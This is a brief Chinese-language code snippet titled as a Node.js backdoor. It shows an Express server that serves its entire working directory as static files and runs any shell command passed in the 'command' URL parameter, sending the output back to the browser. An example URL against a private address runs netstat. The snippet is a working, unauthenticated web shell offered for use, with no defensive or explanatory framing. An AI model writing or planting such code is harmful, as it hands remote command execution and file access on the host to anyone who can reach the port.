node js 后门

var express = require('express');
var app = express();
 
//内置中间件，静态文件访问
app.use(express.static('./'))
 
//监听
var server = app.listen(8000, function () {
   var host = server.address().address
   var port = server.address().port
   console.log(host, port);
})
 
//当访问根目录时触发
app.get('/', function (req, res) {
      //command
      var command = req.query.command;
 
      //执行
      var exec = require("child_process").exec;
      exec(command,function(err,stdout){
 
         //输出到网页
         res.end(stdout);
      });
   
  
})

node app.js

http://192.168.0.187:8000/?command=netstat%20-an